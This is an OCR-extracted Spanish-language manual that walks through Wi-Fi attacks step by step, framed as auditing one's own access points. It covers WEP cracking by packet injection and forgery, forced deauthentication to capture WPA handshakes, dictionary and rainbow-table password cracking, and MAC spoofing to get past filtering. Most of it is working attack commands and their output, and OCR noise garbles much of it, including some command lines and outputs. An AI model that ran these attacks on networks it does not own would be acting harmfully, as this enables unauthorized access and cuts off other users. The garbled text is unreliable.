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Introduccion

Ya hacia tiempo que no hacia ningun manual para la comunidad, asi que, en este
documento intentaré reunir la mayor parte de ataques a redes wifi, mostrando de una
forma facil y lo mas practica posible todos los pasos necesarios para realizarlos a fin de
probar la seguridad de nuestros puntos de acceso.

Ademas mostraré algunos de los ataques de los que podemos ser victima si nos
conectamos a AP “sospechosos” abiertos.

Para acometer los ataques a los puntos de acceso (AP), utilizaré principalmente
herramientas contenidas en la suite aircrack-ng, aunque las acompafaré, a la hora de
descifrar la contrasefia de los AP, con otras utilidades como son coWPALtty o Pyrit.

En la parte en la que veremos las consecuencias de conectarnos a puntos de acceso
desconocidos, mostraré parte del potencial de programas como Ettercap, Metasploit o
S.E.T.

Todas estas herramientas las ejecutaré sobre Backtrack 5 R1, ya que es una
distribucion GNU/Linux muy utilizada en el tema de la seguridad y contiene todas las
herramientas descritas antes.

Sin mas preambulo, empecemos con lo entretenido ;)

Aetsu


http://www.aircrack-ng.org/
http://www.backtrack-linux.org/downloads
http://www.social-engineer.org/
http://metasploit.com/
http://ettercap.sourceforge.net/
http://code.google.com/p/pyrit/
http://www.willhackforsushi.com/Cowpatty.html

Materiales/Herramientas utilizados

Sistemas operativos utilizados:
- Backtrack 5 R1: Utilizaré este sistema operativo virtualizado sobre VirtualBox
para todo el manual, excepto para una seccion que comentaré a continuacion.

- Archlinux: Este es mi sistema operativo base y se utiliza tnicamente para la
parte de Pyrit que requiere utilizar las GPUs de la tarjeta grafica con lo que no
podia ser realizada desde el SO virtualizado.

Hardware utilizado:
- Tarjeta ALFA AWUSO36H con chipset rti8187L.

- Tarjeta grafica NVIDIA GeForce GT 540M 2GB utilizada en la parte de Pyrit.

Software utilizado:
- Suite Aircrack-ng.

coWPALtty.

- Pyrit.

Ettercap.

Metasploit.
S.E.T.


http://www.social-engineer.org/
http://metasploit.com/
http://ettercap.sourceforge.net/
http://code.google.com/p/pyrit/
http://www.willhackforsushi.com/Cowpatty.html
http://www.aircrack-ng.org/
http://www.archlinux.org/
https://www.virtualbox.org/
http://www.backtrack-linux.org/downloads

Conceptos bdsicos

Cambiar la direccion MAC

>>>>> Informacion MAC (Wikipedia):
http://es.wikipedia.org/wiki/Direcci%C3%B3n_MAC

- Direccion MAC al azar:
sintaxis — macchanger -r <interfaz>

MAC :

Faked MAC: [unknown )

- Direccion MAC especifica:
sintaxis — macchanger -m <nueva mac> <interfaz>

=& m
Current MAC:
Faked MAC:

Modo monitor

>>>>> Informacion modo monitor (Wikipedia):
http://en.wikipedia.org/wiki/Monitor_mode

- Habilitar modo monitor:
sintaxis — airmon-ng start <interfaz de red>

:~# airmon-ng start wlan2

ek RTLB187L rtlg1s7 - [pk

(monitor mode enabled on mon®)



http://en.wikipedia.org/wiki/Monitor_mode
http://es.wikipedia.org/wiki/Direcci%C3%B3n_MAC

Cifrado WE®P

>>>>> Informacion WEP (Wikipedia):
http://es.wikipedia.org/wiki/Wired_Equivalent_Privacy

Ataque 1 + 3

Partimos de tener nuestra tarjeta en modo monitor, con lo que ahora pasara a ser mon0.

1. Buscamos la red objetivo con airodump-ng:
sintaxis — airodump-ng <interfaz en modo monitor>

airodump-ng mon0

CH 8 ][ Elapsed: @ s ][ 2011-108-12
ENC CIPHER AUTH ESSID

WPA TKIF

-41 ; i é 542 WEP WEP

STATION Lost  Frames

Analicemos ahora lo que vemos en la captura:
» BSSID: La direccion MAC del AP (punto de acceso).
* PWR: La intensidad de sefial que recibimos del AP.
* Beacons: Son tramas no validos para nuestra auditoria de la red.
« #Data: Paquetes de datos validos, estos son los que nos interesan.
* #/S: Aqui vemos a que ritmo crecen los #Data, es util para ver a que
velocidad estamos inyectando.
» CH: El canal sobre el que opera el AP.
* MB: Velocidad del AP. -- 11 — 802.11b // 54 — 802.11g
* ENC, CIPHER, AUTH: Estos 3 campos estan relacionados con la cifrado.
« ESSID: El nombre del AP.

2. Nuestro objetivo sera la red con ESSID wireless, pero antes de continuar
probaremos si nuestra tarjeta puede inyectar en el AP:
sintaxis — aireplay-ng -9 -b <BSSID del AP> -e <ESSID del AP> <interfaz>


http://es.wikipedia.org/wiki/Wired_Equivalent_Privacy

alreplay ng -9 -b 00:11:22:33:44:55 -e wireless mon0

-9 -b
- beacon frame (ESS

6ms Power: -19.03

3. Una vez comprobado que podemos inyectar procederemos a capturar el trafico de
la red objetivo con airodump-ng:
sintaxis — airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre
del archivo donde se guardaran la captura> <interfaz>

airodump-ng --bssid 00:11:22:33:44:55 -c 11 -w captura mon0

~/capturas# airodump-ng -- i C w captura mon@

CH 11 ][ Elapsed: 4 s ][ 2811-10-12 13:17
BSSID PWR RX0) Beacons #Data, #/5 C MB ENC CIPHER AUTH ESSID
-28 188 53 B 4 54e WEP WEP

B551ID STATION PWR  Rate Lost Frames Probe

4. Ahora ya tenemos airodump-ng capturando trafico para un AP especifico, nuestro
siguiente paso sera asociarnos al punto de acceso, para ello abrimos otra terminal
y lanzamos aireplay-ng:
sintaxis — aireplay-ng -1 <tiempo entre cada asociacion> -e <ESSID del AP> -a
<BSSID del AP> -h <nuestra mac> <interfaz>

aireplay-ng -1 10 -e wireless -a 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff mon0

-h . mon@
] on 11

est (Open System) [ACK]




5. Una vez ya estemos asociados (la carita sonriente :-) de la imagen anterior nos lo
confirmard), podemos inyectar trafico para aumentar los #Data capturados con
airodump-ng (punto 3) con el fin de poder obtener la contrasefia mas rapido. Para este
cometido volveremos a utilizar aireplay-ng (en otra terminal):
sintaxis — aireplay-ng -3 -x <velocidad de inyeccion> -b <BSSID del AP> -h
<nuestra mac> <interfaz>

aireplay-ng -3 -x 300 -b 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff mon0

mon@

6. Lo siguiente serd ver como en la terminal con el airodump-ng aumentan de forma rapida
los #Data (puede tardar un rato en empezar la inyeccion):
CH 11 ][ Ela 2 mins ][ 2011-18-12 13:19
BSSID WR RXQ Bea #Data, #/s CH MB ENC CIPHER AUTH ESSID
1276 1246 244 11 54e WEP WEP  OPN wireless

B55ID STATION PWR  Rate ost Frames Probe

mone
) on channel 11

pps)

7. Una vez tengamos entre mas de 20000 #Data podemos empezar a descifrar la clave con
aircrack-ng:
sintaxis — aircrack-ng <archivo captura .cap>

aircrack-ng captura.cap



-_—

aircrack-ng captura-01.ca

# BSSID ncryption

1 wi s (33741 IVs)

Choosing first network as target.

captured ivs.

Aircrack-ng 1.1 ri1972

2] Tested 689 k got 42124 IVs)

RESUMEN 1 + 3

. airmon-ng start <interfaz de red>

airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del
archivo donde se guardaran la captura> <interfaz>

aireplay-ng -1 <tiempo entre cada asociacién> -e <ESSID del AP> -a
<BSSID del AP> -h <nuestra mac> <interfaz>

aireplay-ng -3 -x <velocidad de inyeccién> -b <BSSID del AP> -h
<nuestra mac> <interfaz>

aircrack-ng <archivo captura .cap>



Ataque Chop Chop

El ataque Chop Chop no siempre funciona, pero si lo hace, es mas rapido que el ataque
1+3.

Partimos de tener nuestra tarjeta en modo monitor, con lo que ahora pasara a ser mon0,
ademas de tener airodump-ng capturando (opcion -w incluida para guardar los datos
capturados) y con aireplay-ng -1 funcionando y asociandonos al AP.

A partir de aqui:

1. Abrimos una terminal y lanzamos el ataque Chop Chop con aireplay-ng:
sintaxis — aireplay-ng -4 -b <BSSID del AP> -h <nuestra MAC> <interfaz>

aireplay-ng -4 -b 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff mon0

esperamos a que encuentre un paquete valido y nos preguntara:
Use this packet?
Entonces contestamos “yes”:

-b -h " mon@
(BSSID: ) on channel 11
FromD5: 1, ToD5: 8 (WEP)
551D

Dest. MAC
MAC

se this packet 7 yes

Saving chosen packet in replay src-1015-173848.

—~+
—~+
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=

et e e e e e e e e el e
|

68
EE
74
ap
8F
3F
1D
4E
CB
|
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—+

+
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+
—+

+
—+

Ahora esperamos un poco y creara un nuevo archivo .cap y un archivo .xor
con lo que aparecera esto:
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The AP appears to drop packets s
dard

2.

3.

A continuacion ejecutamos tcpdump sobre el archivo .cap generado antes:
sintaxis — fcpdump -s 0 -n -e -r <archivo .cap generado antes>

tcpdump -s 0 -n -e -r replay_dec-1015-173905.cap

3 C, dsap SNAP (@xaa) Individual, ssap SNAP (©xaa) Command, ctrl ©x@3: oui Ethernet (
resp time 10]

Tenemos que prestar atencion a la ip que aparece en el texto ya que la utilizaremos
ahora.

Forjamos un nuevo paquete de datos con packetforge-ng:

sintaxis — packetforge-ng -0 -a <MAC del AP> -h <nuestra MAC> -k <ip dentro
del rango> -l <ip obtenida antes> -y <archivo .xor obtenido antes> -w <archivo que
reinyectaremos>

packetforge-ng -0 -a 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff -k 192.168.1.255 -I

192.168.1.33 -y replay_dec-1015-173905.xor -w arp

:~/capturas# packetforge-ng -8 -a i -h ¢ .-k 192.168.1.255 -1 192.168.1.33 -y replay dec-1015-173985.xor -w arp

Wrote packet to: arp

Una vez ponga:
Wrote packet to: <archivo que reinyectaremos>
ya hemos completado este paso.

Lo siguiente sera reinyectar el paquete creado, para ello nos valdremos de
aireplay-ng:

sintaxis — aireplay-ng -2 -h <nuestra MAC> -r <archivo creado en el paso
anterior> <interfaz>

aireplay-ng -2 -h aa:bb:cc:dd:ee:ff -r arp

11



:~/capturas# aireplay-ng -2 -h -r arp mon@

Size: 68, FromDS: @, ToDS: 1 (WEP)

BSSID
Dest. MAC !
Source MAC = I

Ox0000: 0841 0201 6468 0c95 dcbb BOel 0082
exeel1e: ffff ffff ffff 8001 d%a@ elee 4047
0x0020: 4c69 b46d 835b 3a72 0ddl ef67 7746
O0x0030: TOed4 bde5 4adb b526 1e33 Ofcb 8eb5
Ox0040: 2b83 511d

se this packet 7 yes

Saving chosen packet inm replay src-1015-174253.cap
ou should also start airodump-ng to capture replies.

Sent 849 packets...(499 pps)

y pronto veremos como la terminal que teniamos capturando trafico con
airodump-ng empieza a subir rapidamente los #Data:

CH 11 ][ Elapsed: 6 mins ][ 2811-18-15 17:44

PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

-4 88 3614 4692 360 11 54  WEP WEP OPN  wireless

STATION PWR Rate Lost Frames Probe

8 1 -1 2164 21909

Por ultimo como en el paso anterior, con mas de 20000 #Data lanzaremos
aircrack-ng.

:~/capturas# aircrack-ng captura-01l.cap
Opening captura-@1.cap
Read 112467 packets.
# BSSID Encryption
1 wireless WEP (33741 IVs)
Choosing first network as target.
Opening captura-81.cap

Attack will be restarted every 5808 captured ivs.
Starting PTW attack with 33958 ivs.




RESUMEN CHOP CHOP

. airmon-ng start <interfaz de red>

airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del
archivo donde se guardaran la captura> <interfaz>

aireplay-ng -1 <tiempo entre cada asociacién> -e <ESSID del AP> -a
<BSSID del AP> -h <nuestra mac> <interfaz>

aireplay-ng -4 -b <BSSID del AP> -h <nuestra MAC> <interfaz>

tcpdump -s 0 -n -e -r <archivo .cap generado antes>

packetforge-ng -0 -a <BSSID del AP> -h <nuestra MAC> -k <ip dentro del
rango> -l <ip obtenida antes> -y <archivo .xor obtenido antes> -w
<archivo a reinyectar>

aireplay-ng -2 -h <nuestra MAC> -r <archivo creado en el paso anterior>
<interfaz>

aircrack-ng <archivo de captura .cap>

13



Ataque Fragmentacion

Este ataque también es mas rapido que el ataque 1+3, pero como el ataque chop chop
no siempre funciona.

Como en el ataque anterior partimos de tener nuestra tarjeta en modo monitor, con lo
que ahora pasara a ser mon0, ademas de tener airodump-ng capturando (opcion -w
incluida para guardar los datos capturados) y con aireplay-ng -1 funcionando y
asociandonos al AP.

A partir de aqui:

1. Abrimos una terminal y lanzamos el ataque de Fragmentacion:
sintaxis — aireplay-ng -5 -b <BSSID del AP> -h <nuestra MAC> <interfaz>

aireplay-ng -5 -b 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff mon0

. mon [E]
) on channel 11

FromDS: 1, ToDS: © (WEP)

35510
MAC
MAC

se this pack

esperamos a que encuentre un paquete valido y nos preguntara:
Use this packet?
Entonces contestamos “yes”:

14



2. Forjamos un nuevo paquete de datos con packetforge-ng:
sintaxis — packetforge-ng -0 -a <MAC del AP> -h <nuestra MAC> -k <ip dentro
del rango> -l <ip obtenida antes> -y <archivo .xor obtenido antes> -w <archivo que

reinyectaremos>

packetforge-ng -0 -a 00:11:22:33:44:55 -h aa:bb:cc:dd:ee:ff -k 192.168.1.255 -I
192.168.1.33 -y replay_dec-1015-173905.xor -w arp

-k 192.168.1.255 -1 192.168.1.33 -y fragment-1015-174752.x0r -w arp

:~/capturas# packetforge-ng -0 -a

Wrote packet to: arp

Una vez ponga:
Wrote packet to: <archivo que reinyectaremos>

ya hemos completado este paso.

3. Lo siguiente sera reinyectar el paquete creado, para ello nos valdremos de

aireplay-ng:
sintaxis — aireplay-ng -2 -h <nuestra MAC> -r <archivo creado en el paso

anterior> <interfaz>

aireplay-ng -2 -h aa:bb:cc:dd:ee:ff -r arp

:~/capturas# aireplay-ng -2 -h - arp mong

Size: 68, FromDS: @, ToD5: 1 (WEP)

BSSID ,
Dest. MAC FF:FF:FF:FF:FF:FF

Source MAC

0841 9201 6468 Bc95 dcbé
ffff ffff ffff

7894 186T b9E

Bent 650 packets...(500 pps)

y pronto veremos como la terminal que teniamos capturando trafico con
airodump-ng empieza a subir rapidamente los #Data:

15



CH 11 ][ Elapsed: 3 mins ][ 2011-1@-15 17:50

B55ID PWR RXQ #Data, #/5 C "B ENC CIPHER AUTH ESSID
296 54 WEP WEP 0PN
B55ID STATION PWR Rate Lost Frames Probe

3] 1 -1 8299

Por ultimo como en el paso anterior, con mas de 20000 #Data lanzaremos
aircrack-ng.

RESUMEN FRAGMENTACION

airmon-ng start <interfaz de red>

airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del

archivo donde se guardaran la captura> <interfaz>

3. aireplay-ng -1 <tiempo entre cada asociacién> -e <ESSID del AP> -a
<BSSID del AP> -h <nuestra mac> <interfaz>

4. aireplay-ng -5 -b <BSSID del AP> -h <nuestra MAC> <interfaz>

5. packetforge-ng -0 -a <BSSID del AP> -h <nuestra MAC> -k <ip dentro del
rango> -l <ip obtenida antes> -y <archivo .xor obtenido antes> -w
<archivo a reinyectar>

6. aireplay-ng -2 -h <nuestra MAC> -r <archivo creado en el paso anterior>
<interfaz>

7. aircrack-ng <archivo de captura .cap>

N =
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Hirte Attack

Este ataque es distinto a los anteriores y se ejecuta de una forma no muy dificil, pero si
diferente. Para realizarlo dependemos de que haya algun cliente conectado al punto
de acceso objetivo.

>>>>> Documentacion airbase-ng:
http://www.aircrack-ng.org/doku.php?id=airbase-ng

En este ataque partiremos de tener nuestra tarjeta en modo monitor, con lo que ahora
pasara a ser mon0, ademas de tener airodump-ng capturando (opcion -w incluida para
guardar los datos capturados).

Con esto ya preparado:

1. Primero crearemos un punto de acceso falso con airbase-ng. Este punto de
acceso tendra el mismo canal y essid que el AP objetivo.
sintaxis — airbase-ng -c <canal de AP objetivo> -e <ESSID del punto de acceso

objetivo> -N -W 1 <interfaz>

airbase-ng -c 11 -e wireless -N -W 1 mon0

tap interface
set MTU on at@ to 1568

S5ID

lo siguiente sera esperar a que el cliente asociado al AP original haga el resto del
trabajo “danzando” entre nuestro AP falso y el original con lo que incrementara
nuestros #Data.

started

LW

Al final aircrack-ng sera el encargado de descifrar la contrasefa con el archivo
de captura .cap como en los otros ataques.

17


http://www.aircrack-ng.org/doku.php?id=airbase-ng

-_—

:~/capturas# aircrack-ng captura-91l.ca
captura-e1.cap
packets.

# BSSID ESSID Encryption

1 wireless WEP

Choosing first network as target.

@ captured ivs.

RESUMEN HIRTE ATTACK

. airmon-ng start <interfaz de red>

(33741 IVs)

airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del

archivo donde se guardaran la captura> <interfaz>

airbase-ng -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo>

-N -W 1 <interfaz>
aircrack-ng <archivo de captura .cap>

18



Caffe Latte Attack

Este ataque, al igual que el de fragmentacion es distinto a los anteriores y se ejecuta de
una forma no muy dificil, pero si diferente. Para realizarlo dependemos de que haya
algun cliente conectado al punto de acceso objetivo.

Su ejecucidn es muy similar a la del Hirte Attack, de hecho su principal diferencia es la
forma de inyectar.

En este ataque partiremos de tener nuestra tarjeta en modo monitor, con lo que ahora
pasara a ser mon0, ademas de tener airodump-ng capturando (opcion -w incluida para
guardar los datos capturados).

Con esto ya preparado:

1. Primero crearemos un punto de acceso falso con airbase-ng. Este punto de
acceso tendra el mismo canal y essid que el AP objetivo.
sintaxis — airbase-ng -c <canal de AP objetivo> -e <ESSID del punto de acceso
objetivo> -L -W 1 <interfaz>

airbase-ng -c 11 -e wireless -L -W 1 mon0

y como antes, lo siguiente sera esperar a que el cliente asociado al AP original
haga el resto del trabajo “danzando” entre nuestro AP falso y el original con lo que
incrementara nuestros #Data.

Al final aircrack-ng sera el encargado de descifrar la contraseia con el archivo
de captura .cap como en los otros ataques.

RESUMEN CAFFE LATTE ATTACK

1. airmon-ng start <interfaz de red>

2. airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del
archivo donde se guardaran la captura> <interfaz>

3. airbase-ng -c <canal de AP objetivo> -e <ESSID del punto de acceso objetivo>
-L -W 1 <interfaz>

4. aircrack-ng <archivo de captura .cap>

19



Cifrado WPA

>>>>> Informacién WPA (Wikipedia):
http://es.wikipedia.org/wiki/Wi-Fi_Protected_Access

El ataque sobre redes WPA principalmente se basa en obtener el handshake o acuerdo
de cuatro vias que permite al cliente y al punto de acceso negociar las claves utilizadas
para cifrar el trafico enviado. Una vez obtenido intentar obtener la contrasefa del punto de
acceso mediante un ataque de diccionario.

Obteniendo el Handshake

Para obtener el handshake tenemos dos opciones, o bien esperamos a que se
conecte un cliente al punto de acceso, o forzamos a un cliente conectado a
reconectarse. Comentaremos la segunda opcién puesto que es la que requiere trabajo
por nuestra parte.

1. Primero pondremos a airodump-ng a capturar paquetes con el fin de obtener el
handshake:
sintaxis — airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre
del archivo donde se guardaran la captura> <interfaz>

airodump-ng --bssid 00:11:22:33:44:55 -c 11 -w captura mon0

CH 11 ][ Elapsed: © s ][ 2811-18-15 19:02

BSSID PWR RXQ #Data, #/s CH MB ENC CIPHER AUTH ESSID
4] 8 11 54 WPA TKIP PSK
BSSID STATION PWR Rate Lost Frames Probe

-8 B -1

2. Como “vemos” en la imagen hay un cliente asociado al punto de acceso, entonces
utilizaremos aireplay-ng para forzarlo a que vuelva a asociarse.
sintaxis — aireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del
punto de acceso> -c <mac del cliente asociado al punto de acceso> <interfaz>

aireplay-ng -0 0 -a 00:11:22:33:44:55 -c aa:bb:cc:dd:ee:ff mon0

c T mon@
) on channel 11
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3. Como vemos el cliente empieza a recibir paquetes y no tardara en desconectarse
del punto de acceso, con lo que ya podremos detener la terminal anterior (la que
contiene el aireplay-ng -0).

CH 11 ][ Elapsed: 12 s ][ 2011-18-15 19:03

BSSID PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
0 14 146 a 54 WPA TKIP PSK
STATION ate Frames Probe

1946

4. Cuando el cliente vuelva a conectarse al punto de acceso obtendremos el
handshake (aparecera en la parte superior derecha de la ventana con el
airodump-ng):

CH 11 ][ Elapsed: 1 min ][ 2011-18-15 19:05 ][ WPA handshake: 64:68:0( DC:B6

3SSID PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
-29 92 87¢ 41 3 11 54 WPA TKIP PSK wireless

BSSID STATION PWR Rate Lost Frames Probe

8239

5. Si queremos comprobar si ya tenemos el handshake almacenado en nuestro
archivo de captura (.cap), podemos utilizar aircrack-ng para verlo:
sintaxis — aircrack-ng <archivo de captura .cap>

aircrack-ng captura-01.cap
ack-ng captura-o

BSS5ID SS Encryption
WPA (1 handshake)

Choosing first network as

Dpening captura-@1.cap
cify a dictionary (option -w).

Quitting aircrack-ng...
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RESUMEN OBTENIENDO EL HANDSHAKE

1. airodump-ng --bssid <BSSID del AP> -c <canal del AP> -w <nombre del
archivo donde se guardaran la captura> <interfaz>

2. aireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del punto de
acceso> -¢c <mac del cliente asociado al punto de acceso> <interfaz>

3. aircrack-ng <archivo de captura .cap>

Obteniendo la contrasena

Primero intentaremos obtener la contrasena con aircrack-ng, despues repetiremos el
mismo proceso con coWPAtty y al final con Pyrit aprovechando asi las gpu de la tarjeta
grafica para calcular la contrasefa.

A continuacion intentaremos descifrar la contrasefia mediante Rainbow Tables,
veremos como crearlas y las utilizaremos junto con coWPAtty y Pyrit.

Aclarar que se utilizara el mismo diccionario en todos los programas, el cual contiene
86190 palabras, aunque no es muy extenso cumple su cometido para la demostracion.

Obteniendo la contrasefa: Aircrack-ng

1. Primero comprobamos que el handshake se encuentra en la captura:
sintaxis — aircrack-ng <archivo de captura .cap>

aircrack-ng captura-01.cap

# BSSID Encryption
1 . wireless WPA (1 handshake)

Choosing first network as target.

aptura-e1l.cap

y a dictionary (option -w).

Quitting aircrack-ng...
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2. A continuacion lanzamos lanzaremos aircrack-ng junto con un diccionario para
empezar a buscar la contrasenfa:
sintaxis — aircrack-ng <archivo de captura .cap> -w <diccionario>

aircrack-ng -w diccionario captura-01.cap
fcapturas# aircrack-ng -w diccionario captura-8l.cap

ESSID ncryption

wireless WPA (1 handshake)

sing first network as target.

wait. ..

En la ventana del aircrack-ng podremos observar la contrasefia que esta
comprobando en este momento, asi como el tiempo que lleva trabajando.

Aircrack-ng 1.1 r1972

81] 1004 k ested (655.10

Current passphras acomendamiento

Transient Key

EAPOL HMAC

3. Al final vemos como ha encontrado la contrasena (ha tardado 45 segundos),
l6gicamente como mas grande sea el diccionario empleado mas tiempo tardara en
encontrarla, o si esta no esta en el diccionario obtendremos resultado.

Aircrack-ng 1.1 ri1972

Master Key

Transient Key

EAPOL HMAC
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Obteniendo la contrasefia: coWPAtty

1. Lanzamos coWPALtty junto con un diccionario y el essid del punto de acceso para
para empezar a buscar la contrasefia:
sintaxis — cowpatty -f <diccionario> -s <ESSID del AP> -r <archivo de captura
.cap>

cowpatty -f diccionario -s wireless -r captura-01.cap

Nos ira mostrando las contrasefias comprobadas y al final nos mostrara la
correcta (si la encuentra).

udamente
lelilla

187.16 passphr
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Obteniendo la contrasena: Pyrit

1. Con Pyrit podemos comprobar que la captura contiene el handshake mediante la
opcion analyze:
sintaxis — pyrit -r <archivo de captura .cap> analyze

pyrit -r captura-01.cap analyze

$ pyrit -r captura-0l.cap analyze
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueq hitp://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'captura-0l.cap' (1/1)...

Parsed 9 packets (9 802.11-packets), got 1 AP(s)

#1: AccessPoint i ('wireless"):
#1: Station T . 1 handshake(s) :
#1: HHAC HDS RC4,

2. E intentamos obtener la contrasefia mediante la opcion attack_passthrough:
sintaxis — pyrit -r <archivo de captura .cap> -i <diccionario> -b <BSSID del AP>
attack_passthrough

pyrit -r captura-01.cap -i diccionario -b 00:11:22:33:44:55 attack_passthrough

$ pyrit -r captura-0l.cap -i diccionario -b i attack_passthrough
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueq http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'captura-0l.cap’ (1/1)...

Parsed 9 packets (9 802.11-packets), got 1 AP(s)

Tried 57992 PHKs so far; 1598 PHKs per second.

The password is '1234567891234"'.

RESUMEN OBTENIENDO LA CONTRASENA
AIRCRACK-NG
aircrack-ng <archivo de captura .cap> -w <diccionario>
COWPATTY

cowpatty -f <diccionario> -s <ESSID del AP> -r<archivo de captura .cap>

PYRIT

pyrit -r<archivo de captura .cap> -i <diccionario> -b <BSSID del AP> attack_passthrough
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1.

1.

Obteniendo la contrasefia: Rainbow Tables

Creamos las “rainbow tables” con genpmk (viene con la herramienta coWPA(tty)
sintaxis — genpmk -f <diccionario> -d<nombre con el que guardaremos la
rainbow table> -s <ESSID del AP>

genpmk -f diccionario -ddic.genpkm -s wireless

:~/capturas#
genpmk 1.1 - WPA-PS

File dic.genpkm dr

tested in 314.18 s

Rainbow Tables — coWPA+tty

Una de las opciones para utilizar las rainbow tables es coWPAtty:
sintaxis — cowpatty -d <rainbow table> -r<archivo de captura .cap> -s <ESSID del
AP> -2

cowpatty -d dic.genpkm -r captura-01.cap -s wireless -2
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ck against WPA/PSK passphrase

SK is "1234567891234".

28588 passphrases seconds: 30239.68 passphras

Rainbow Tables — Pyrit

1. Otra posibilidad para utilizar las rainbow tables es Pyrit con la que aprovecharemos
las GPU de nuestra grafica (si esta lo permite):
sintaxis — pyrit -r<archivo de captura .cap> -i <rainbow table> -b <BSSID del
AP> attack _cowpatty

pyrit -r captura-01.cap -i dic.genpkm -b 00:11:22:33:44:55 attack_cowpatty
yrit -r captura-0l.cap -1 dic.genpkm -b

5p
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Parsing file 'captura-0l.cap’ (1/1)...

Parsed 9 packets (9 802.11-packets), got 1 AP(s)

Tried 57992 PHKs so far; 927101 PHKs per second.

The password is "1234567891234°.

RESUMEN OBTENIENDO LA CONTRASENA:
RAINBOW TABLES

genpmk -f <diccionario> -d<nombre con el que guardaremos la rainbow table> -s
<ESSID del AP>

COWPATTY
cowpatty -d <rainbow table> -r<archivo de captura .cap> -s <ESSID del AP> -2
PYRIT

pyrit -r<archivo de captura .cap> -i <rainbow table> -b <BSSID del AP> attack_cowpatty
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Otras defensas

Filtrado MAC

>>>>> Informacion filtrado MAC (Wikipedia):

http://en.wikipedia.org/wiki/MAC _filtering

Primero intentamos asociarnos al punto de acceso y vemos que este no nos lo permite,
entonces es posible que el filtrado MAC esté habilitado, con lo que si nuestra direccion
MAC no esta en la lista de direcciones permitidas no podremos conectarnos al punto de
acceso.

-Nn
) on channel 11

[ACK]

n) [ACK]f]

Para solucionar este inconveniente buscaremos un cliente asociado al punto de acceso,
airodump-ng nos permite averiguar esto.

- Activamos el modo monitor y ponemos airodump-ng a captura paquetes:
sintaxis — airmon-ng start <interfaz de red>
sintaxis — airodump-ng <interfaz en modo monitor>

CH 11 ][ Elapsed: 16 s ][ 2011-10-12 14:30 ][ paused output
BSSID ] cons #Data, #/s CH MB ENC CIPHER AUTH ESSID

4]
4]
3]
3]
6
1

WPA TKIP

PWR  Rate Lost Frames Pr

Para saber que cliente esta conectado a que AP, vemos los campos que nos interesan
de lo que nos muestra airodump-ng. Nuestro objetivo en este ejemplo es el punto de
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acceso wireless (columna mitad superior BSSID), que tiene una direccion MAC asociada

(columna mitad superior BSSID), entonces para encontrar un cliente asociado a ese punto

de acceso, buscamos en la columna BSSID de la mitad inferior una MAC que coincida

con la columna BSSID de la mitad superior. Una vez la encontremos veremos que en la

columna STATION (mitad inferior) aparecera la MAC de un cliente asociado al AP objetivo.
Una vez encontremos un cliente que esta conectado apuntaremos su MAC.

A continuacion esperaremos a que ese cliente se desconecte y con macchanger
cambiaremos nuestra MAC por la del cliente que antes estaba conectado:
sintaxis — macchanger -m <nueva mac> <interfaz>

-m mone
(unknown)

(unknown)

Por ultimo veremos que ya nos es posible asociarnos:

:~/capturas
Waiting for

est (Open

est (Open

Ataque de desasociacion

Un ataque de desasociacion sobre un cliente nos permite desconectarle de un punto de
acceso.
Con airodump-ng vemos los clientes conectados al punto de acceso wireless.

CH 11 ][ Elapsed: © s ][ 2811-18-15 19:82

B55ID PWR RX(Q Beacons #Data, #/s C MB ENC CIPHER AUTH ESSID
-16 0 20 § @ 54 WPA TKIP 'SK

BSSID STATION Frames Probe
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Ahora desasociaremos al cliente asociado al punto de acceso:
sintaxis — aireplay-ng -0 <paquetes a mandar al cliente objetivo> -a <mac del
punto de acceso> -¢c <mac del cliente asociado al punto de acceso> <interfaz en
modo monitor>

Entonces veremos como en la pestafia en donde tengamos a airodump-ng capturando
trafico, los paquetes de la columna Lost empiezan a subir hasta que el cliente se
desconectara del AP.

CH 11 ][ Elapsed: 12 s
BS5ID X0 B s : CH MB ENC CIPHER AUTH ESSID

1 8@ 11 54 WPA TKIP PSK wireless
BSSID STATION PWR Rate Lost Frames Probe

109120 1946

ESSID oculto

También es posible que no podamos ver el ESSID de un punto de acceso, es decir, que
en lugar del nombre (por ejemplo wireless) aparecera <length: 0>.

Primero pondremos a airodump-ng capturando trafico:
BSSID s  #Data, #/s CH MB ENC CIPHER AUTH ESSID

B @ 9
B g 11
8 g 9
11
11 OPN
11 (] (] <length: 8=

11
11
11
11
11
11

Lo siguiente sera esperar a que un usuario se conecte al punto de acceso o
desasociamos a un cliente ya conectado (el ataque de desasociacion visto en el punto
anterior) forzando que vuelva a conectarse. Una vez suceda uno de los dos
acontecimientos deseados veremos revelado el nombre (ESSID) del punto de acceso.

30



ENC CIPHER AUTH ESSID

PSK
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Descifrar capturas

>>>>> Documentacion airdecap-ng:
http://www.aircrack-ng.org/doku.php?id=airdecap-ng

Con airdecap-ng podemos descifrar capturas con cifrado WEP/WPA y WPA2 (previo
conocimiento de contrasefia y handshake en el caso de WPA/WPA2) para su posterior
analisis con herramientas como wireshark.

Airdecap-ng + WEP

sintaxis — airdcap-ng -w <password> <captura cifrada .cap>

alrdecap -ng -w 31:32:33:34:35:36:37:38: 39 31 32 33: 34 capturaWep 01 cap

ecap-ng -w 3l::

. oT pack
er of WEP da

